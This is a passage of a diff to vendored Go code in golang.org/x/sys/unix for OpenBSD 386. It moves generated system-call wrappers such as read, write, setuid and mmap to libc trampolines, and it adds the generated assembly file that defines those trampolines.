@@ -1160,6 +1532,10 @@ func pwrite(fd int, p []byte, offset int64) (n int, err error) { return } +var libc_pwrite_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pwrite pwrite "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func read(fd int, p []byte) (n int, err error) { @@ -1169,7 +1545,7 @@ func read(fd int, p []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p))) + r0, _, e1 := syscall_syscall(libc_read_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1177,6 +1553,10 @@ func read(fd int, p []byte) (n int, err error) { return } +var libc_read_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_read read "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlink(path string, buf []byte) (n int, err error) { @@ -1191,7 +1571,7 @@ func Readlink(path string, buf []byte) (n int, err error) { } else { _p1 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf))) + r0, _, e1 := syscall_syscall(libc_readlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1199,6 +1579,10 @@ func Readlink(path string, buf []byte) (n int, err error) { return } +var libc_readlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_readlink readlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { @@ -1213,7 +1597,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { } else { _p1 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_readlinkat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1221,6 +1605,10 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { return } +var libc_readlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_readlinkat readlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rename(from string, to string) (err error) { @@ -1234,13 +1622,17 @@ func Rename(from string, to string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_rename_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_rename_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_rename rename "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Renameat(fromfd int, from string, tofd int, to string) (err error) { @@ -1254,13 +1646,17 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0) + _, _, e1 := syscall_syscall6(libc_renameat_trampoline_addr, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_renameat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_renameat renameat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Revoke(path string) (err error) { @@ -1269,13 +1665,17 @@ func Revoke(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_revoke_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_revoke_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_revoke revoke "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rmdir(path string) (err error) { @@ -1284,17 +1684,21 @@ func Rmdir(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_rmdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_rmdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_rmdir rmdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { - r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(offset>>32), uintptr(whence), 0) + r0, r1, e1 := syscall_syscall6(libc_lseek_trampoline_addr, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0) newoffset = int64(int64(r1)<<32 | int64(r0)) if e1 != 0 { err = errnoErr(e1) @@ -1302,10 +1706,14 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { return } +var libc_lseek_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lseek lseek "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) { - r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) + r0, _, e1 := syscall_syscall6(libc_select_trampoline_addr, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1313,36 +1721,52 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err return } +var libc_select_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_select select "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setegid(egid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setegid_trampoline_addr, uintptr(egid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setegid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setegid setegid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seteuid(euid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_seteuid_trampoline_addr, uintptr(euid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_seteuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_seteuid seteuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setgid(gid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setgid_trampoline_addr, uintptr(gid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setgid setgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setlogin(name string) (err error) { @@ -1351,97 +1775,133 @@ func Setlogin(name string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_setlogin_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setlogin_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setlogin setlogin "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpgid(pid int, pgid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0) + _, _, e1 := syscall_rawSyscall(libc_setpgid_trampoline_addr, uintptr(pid), uintptr(pgid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setpgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setpgid setpgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpriority(which int, who int, prio int) (err error) { - _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio)) + _, _, e1 := syscall_syscall(libc_setpriority_trampoline_addr, uintptr(which), uintptr(who), uintptr(prio)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setpriority_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setpriority setpriority "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setregid(rgid int, egid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0) + _, _, e1 := syscall_rawSyscall(libc_setregid_trampoline_addr, uintptr(rgid), uintptr(egid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setregid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setregid setregid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setreuid(ruid int, euid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0) + _, _, e1 := syscall_rawSyscall(libc_setreuid_trampoline_addr, uintptr(ruid), uintptr(euid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setreuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setreuid setreuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresgid(rgid int, egid int, sgid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid)) + _, _, e1 := syscall_rawSyscall(libc_setresgid_trampoline_addr, uintptr(rgid), uintptr(egid), uintptr(sgid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setresgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setresgid setresgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresuid(ruid int, euid int, suid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid)) + _, _, e1 := syscall_rawSyscall(libc_setresuid_trampoline_addr, uintptr(ruid), uintptr(euid), uintptr(suid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setresuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setresuid setresuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setrlimit(which int, lim *Rlimit) (err error) { - _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) + _, _, e1 := syscall_rawSyscall(libc_setrlimit_trampoline_addr, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setrlimit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setrlimit setrlimit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setrtable(rtable int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setrtable_trampoline_addr, uintptr(rtable), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setrtable_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setrtable setrtable "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setsid() (pid int, err error) { - r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_setsid_trampoline_addr, 0, 0, 0) pid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1449,26 +1909,38 @@ func Setsid() (pid int, err error) { return } +var libc_setsid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setsid setsid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Settimeofday(tp *Timeval) (err error) { - _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_settimeofday_trampoline_addr, uintptr(unsafe.Pointer(tp)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_settimeofday_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_settimeofday settimeofday "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setuid(uid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setuid_trampoline_addr, uintptr(uid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setuid setuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Stat(path string, stat *Stat_t) (err error) { @@ -1477,13 +1949,17 @@ func Stat(path string, stat *Stat_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_stat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_stat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_stat stat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Statfs(path string, stat *Statfs_t) (err error) { @@ -1492,13 +1968,17 @@ func Statfs(path string, stat *Statfs_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_statfs_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_statfs_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_statfs statfs "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlink(path string, link string) (err error) { @@ -1512,13 +1992,17 @@ func Symlink(path string, link string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_symlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_symlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_symlink symlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { @@ -1532,23 +2016,31 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) + _, _, e1 := syscall_syscall(libc_symlinkat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_symlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_symlinkat symlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sync() (err error) { - _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0) + _, _, e1 := syscall_syscall(libc_sync_trampoline_addr, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sync sync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Truncate(path string, length int64) (err error) { @@ -1557,21 +2049,29 @@ func Truncate(path string, length int64) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length), uintptr(length>>32), 0, 0) + _, _, e1 := syscall_syscall(libc_truncate_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_truncate_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_truncate truncate "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Umask(newmask int) (oldmask int) { - r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0) + r0, _, _ := syscall_syscall(libc_umask_trampoline_addr, uintptr(newmask), 0, 0) oldmask = int(r0) return } +var libc_umask_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_umask umask "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlink(path string) (err error) { @@ -1580,13 +2080,17 @@ func Unlink(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_unlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unlink unlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlinkat(dirfd int, path string, flags int) (err error) { @@ -1595,13 +2099,17 @@ func Unlinkat(dirfd int, path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_unlinkat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unlinkat unlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unmount(path string, flags int) (err error) { @@ -1610,13 +2118,17 @@ func Unmount(path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_unmount_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_unmount_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_unmount unmount "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func write(fd int, p []byte) (n int, err error) { @@ -1626,7 +2138,7 @@ func write(fd int, p []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p))) + r0, _, e1 := syscall_syscall(libc_write_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1634,10 +2146,14 @@ func write(fd int, p []byte) (n int, err error) { return } +var libc_write_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_write write "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) { - r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), uintptr(pos>>32), 0) + r0, _, e1 := syscall_syscall9(libc_mmap_trampoline_addr, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0) ret = uintptr(r0) if e1 != 0 { err = errnoErr(e1) @@ -1645,20 +2161,28 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) ( return } +var libc_mmap_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mmap mmap "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func munmap(addr uintptr, length uintptr) (err error) { - _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0) + _, _, e1 := syscall_syscall(libc_munmap_trampoline_addr, uintptr(addr), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munmap_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munmap munmap "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func readlen(fd int, buf *byte, nbuf int) (n int, err error) { - r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) + r0, _, e1 := syscall_syscall(libc_read_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1669,7 +2193,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) { // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func writelen(fd int, buf *byte, nbuf int) (n int, err error) { - r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) + r0, _, e1 := syscall_syscall(libc_write_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1685,9 +2209,13 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error if err != nil { return } - _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } + +var libc_utimensat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_utimensat utimensat "libc.so" diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s new file mode 100644 index 000000000..75eb2f5f3 --- /dev/null +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s @@ -0,0 +1,796 @@ +// go run mkasm.go openbsd 386 +// Code generated by the command above; DO NOT EDIT. + +#include "textflag.h" + +TEXT libc_getgroups_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getgroups(SB) + +GLOBL ·libc_getgroups_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getgroups_trampoline_addr(SB)/4, $libc_getgroups_trampoline<>(SB) + +TEXT libc_setgroups_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setgroups(SB) + +GLOBL ·libc_setgroups_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setgroups_trampoline_addr(SB)/4, $libc_setgroups_trampoline<>(SB) + +TEXT libc_wait4_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_wait4(SB) + +GLOBL ·libc_wait4_trampoline_addr(SB), RODATA, $4 +DATA ·libc_wait4_trampoline_addr(SB)/4, $libc_wait4_trampoline<>(SB) + +TEXT libc_accept_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_accept(SB) + +GLOBL ·libc_accept_trampoline_addr(SB), RODATA, $4 +DATA ·libc_accept_trampoline_addr(SB)/4, $libc_accept_trampoline<>(SB) + +TEXT libc_bind_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_bind(SB) + +GLOBL ·libc_bind_trampoline_addr(SB), RODATA, $4 +DATA ·libc_bind_trampoline_addr(SB)/4, $libc_bind_trampoline<>(SB) + +TEXT libc_connect_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_connect(SB) + +GLOBL ·libc_connect_trampoline_addr(SB), RODATA, $4 +DATA ·libc_connect_trampoline_addr(SB)/4, $libc_connect_trampoline<>(SB) + +TEXT libc_socket_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_socket(SB) + +GLOBL ·libc_socket_trampoline_addr(SB), RODATA, $4 +DATA ·libc_socket_trampoline_addr(SB)/4, $libc_socket_trampoline<>(SB) + +TEXT libc_getsockopt_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsockopt(SB) + +GLOBL ·libc_getsockopt_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getsockopt_trampoline_addr(SB)/4, $libc_getsockopt_trampoline<>(SB) + +TEXT libc_setsockopt_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setsockopt(SB) + +GLOBL ·libc_setsockopt_trampoline_addr(SB), RODATA, $4 +DATA ·libc_setsockopt_trampoline_addr(SB)/4, $libc_setsockopt_trampoline<>(SB) + +TEXT libc_getpeername_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpeername(SB) + +GLOBL ·libc_getpeername_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getpeername_trampoline_addr(SB)/4, $libc_getpeername_trampoline<>(SB) + +TEXT libc_getsockname_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsockname(SB) + +GLOBL ·libc_getsockname_trampoline_addr(SB), RODATA, $4 +DATA ·libc_getsockname_trampoline_addr(SB)/4, $libc_getsockname_trampoline<>(SB) + +TEXT libc_shutdown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_shutdown(SB) + +GLOBL ·libc_shutdown_trampoline_addr(SB), RODATA, $4 +DATA ·libc_shutdown_trampoline_addr(SB)/4, $libc_shutdown_trampoline<>(SB) + +TEXT libc_socketpair_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_socketpair(SB) + +GLOBL ·libc_socketpair_trampoline_addr(SB), RODATA, $4 +DATA ·libc_socketpair_trampoline_addr(SB)/4, $libc_socketpair_trampoline<>(SB) + +TEXT libc_recvfrom_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_recvfrom(SB) + +GLOBL ·libc_recvfrom_trampoline_addr(SB), RODATA, $4 +DATA ·libc_recvfrom_trampoline_addr(SB)/4, $libc_recvfrom_trampoline<>(SB) + +TEXT libc_sendto_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sendto(SB) + +GLOBL ·libc_sendto_trampoline_addr(SB), RODATA, $4 +DATA ·libc_sendto_trampoline_addr(SB)/4, $libc_sendto_trampoline<>(SB) + +TEXT libc_recvmsg_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_recvmsg(SB) + +GLOBL ·libc_recvmsg_trampoline_addr(SB), RODATA, $4 +DATA ·libc_recvmsg_trampoline_addr(SB)/4, $libc_recvmsg_trampoline<>(SB) + +TEXT libc_sendmsg_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sendmsg(SB) + +GLOBL ·libc_sendmsg_trampoline_addr(SB), RODATA, $4 +DATA ·libc_sendmsg_trampoline_addr(SB)/4, $libc_sendmsg_trampoline<>(SB) + +TEXT libc_kevent_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kevent(SB) + +GLOBL ·libc_kevent_trampoline_addr(SB), RODATA, $4 +DATA ·libc_kevent_trampoline_addr(SB)/4, $libc_kevent_trampoline<>(SB) + +TEXT libc_utimes_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_utimes(SB) + +GLOBL ·libc_utimes_trampoline_addr(SB), RODATA, $4 +DATA ·libc_utimes_trampoline_addr(SB)/4, $libc_utimes_trampoline<>(SB) + +TEXT libc_futimes_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_futimes(SB) + +GLOBL ·libc_futimes_trampoline_addr(SB), RODATA, $4 +DATA ·libc_futimes_trampoline_addr(SB)/4, $libc_futimes_trampoline<>(SB) + +TEXT libc_poll_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_poll(SB) + +GLOBL ·libc_poll_trampoline_addr(SB), RODATA, $4 +DATA ·libc_poll_trampoline_addr(SB)/4, $libc_poll_trampoline<>(SB) + +TEXT libc_madvise_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_madvise(SB) + +GLOBL ·libc_madvise_trampoline_addr(SB), RODATA, $4 +DATA ·libc_madvise_trampoline_addr(SB)/4, $libc_madvise_trampoline<>(SB) + +TEXT libc_mlock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mlock(SB) + +GLOBL ·libc_mlock_trampoline_addr(SB), RODATA, $4 +DATA ·libc_mlock_trampoline_addr(SB)/4, $libc_mlock_trampoline<>(SB) + 